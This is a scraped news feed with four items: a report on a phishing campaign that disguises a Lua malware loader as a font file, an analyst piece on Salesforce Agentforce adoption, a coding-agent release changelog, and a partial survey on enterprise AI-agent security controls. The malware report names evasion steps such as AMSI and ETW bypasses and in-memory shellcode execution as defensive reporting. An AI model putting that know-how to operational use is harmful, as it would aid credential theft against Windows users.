		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Threat actors are now abusing an ordinary font file to deliver low-detection malware capable of stealing credentials and establishing persistence on compromised Windows systems.</p>



<p class="wp-block-paragraph">According to a new research from Fortinet’s FortiGuard Labs, a global phishing campaign is actively using heavily obfuscated JavaScript and a Lua-based loader posing as a TrueType Font (TTF) file to evade security and drop RATs and infostealers.</p>



<p class="wp-block-paragraph">A TTF file is a standard font file used by operating systems and applications to display text.</p>



<p class="wp-block-paragraph">The campaign has been deploying malware families such as <a href="https://www.csoonline.com/article/573813/malware-builder-uses-fresh-tactics-to-hit-victims-with-agent-tesla-rat.html">Agent Tesla</a>, Remcos, <a href="https://www.csoonline.com/article/4064720/xworm-campaign-shows-a-shift-toward-fileless-malware-and-in-memory-evasion-tactics.html">XWorm</a>, and a Snake Keylogger variant known as Best Private LOGGER, since at least late March 2026. “In these attacks, the threat actor impersonates several well-known companies, using the guise of business cooperation to launch phishing attacks,” FortiGuard researchers said in a blog <a href="https://www.fortinet.com/blog/threat-research/the-ttf-trap-a-global-campaign-of-a-low-detection-lua-loader" target="_blank" rel="noreferrer noopener">post</a>.</p>



<p class="wp-block-paragraph">Talking about how a new attack technique seems to still rely on conventional phishing tricks, <a href="https://www.linkedin.com/in/shane-barney-69026528/" target="_blank" rel="noreferrer noopener">Shane Barney</a>, CISO at Keeper Security, said, “The most sophisticated technical evasion in the world still starts the same way: someone opens an email from what looks like a trusted company and acts on it.”</p>



<p class="wp-block-paragraph">“The obfuscation layers, the Lua loader disguised as a font file, the fileless execution chain – all of it exists to survive detection after that human decision has already been made, and organizations would do well to keep that in their sightline,” he added.</p>



<h2 class="wp-block-heading">Business and payment-themed phishing lures used</h2>



<p class="wp-block-paragraph">According to the researchers, victims receive phishing emails impersonating well-known companies and using business collaboration or payment-related themes to trick recipients into opening compressed archives. These archives contain the obfuscated JScript that establishes persistence before dropping either a legitimate Autolt executable or a LuaJIT interpreter, along with a malicious script packaged within a .ttf extension.</p>



<p class="wp-block-paragraph">The fake font file functions as a Lua-based loader that runs multiple de-obfuscation steps before decrypting and executing shellcode directly in memory.</p>



<p class="wp-block-paragraph">“Security controls cannot treat a file extension as proof of file type or intent,” said <a href="https://www.linkedin.com/in/jason-soroko-19b41920/" target="_blank" rel="noreferrer noopener">Jason Soroko</a>, senior fellow at Sectigo. “Each component (of the campaign) may appear less suspicious when reviewed alone, while the combined sequence leads to in-memory execution of RATs and infostealers.”</p>



<p class="wp-block-paragraph">Some of the new variants, the researchers pointed out, are getting more sophisticated by introducing segmented shellcode encryption, Vectored Exception Handler (VEH)- based runtime decryption, AMSI and ETW bypasses, API unhooking, and other anti-analysis techniques designed to evade endpoint defenses.</p>



<p class="wp-block-paragraph">The final malware payload is delivered using <a href="https://www.csoonline.com/article/4125567/this-stealthy-windows-rat-holds-live-conversations-with-its-operators.html?utm=hybrid_search#:~:text=This%20PowerShell%20loader%20decodes%20and%20executes%20shellcode%20generated%20using%20Donut%2C%20an%20open-source%20framework%20commonly%20used%20to%20convert.%20NET%20assemblies%20into%20position-independent%20shellcode.">Donut</a> shellcode, allowing execution without writing the payload to disk.</p>



<p class="wp-block-paragraph">Protection requires targeted mitigations and routine security hygiene</p>



<p class="wp-block-paragraph">Fortinet’s findings confirm the attackers’ endgame to be stealing credentials and maintaining long-term access. The malware families observed, including Agent Tesla, Remcos, XWorm, and Best Private LOGGER, are all focused on credential theft, surveillance, or remote access.</p>



<p class="wp-block-paragraph">Barney said organizations should resist focusing exclusively on the loader’s technical sophistication and instead strengthen the systems attackers eventually want to compromise.</p>



<p class="wp-block-paragraph">In his opinion, identity and access controls are what it comes down to, as signature-based detection often fails against the loader sophistication of this grade. “Limiting what any given set of credentials can reach, enforcing least privilege, requiring re-authentication for sensitive systems, and monitoring for anomalous session behavior will not stop every phishing email from landing, but they significantly constrain what an attacker can accomplish after one succeeds,” he explained.</p>



<p class="wp-block-paragraph">Soroko, on the other hand, recommends focusing controls on the technical indicators. He urged organizations to restrict Windows Script Host, Autolt, and LauJIT wherever they are not operationally required, monitor for behaviors such as process injection, remote memory allocation, and shellcode execution, and use Fortinet’s published indicators for threat hunting.</p>



<p class="wp-block-paragraph">The indicators of compromise (IOCs) Fortinet shared include the command-and-control (C2) addresses, file hashes, and filenames.</p>



<p class="wp-block-paragraph">Soroko warned against relying solely on hashes or C2 infrastructure because the loader has changed over time. “The stronger approach is to detect the stable behavior across versions, then test controls against the complete chain,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, 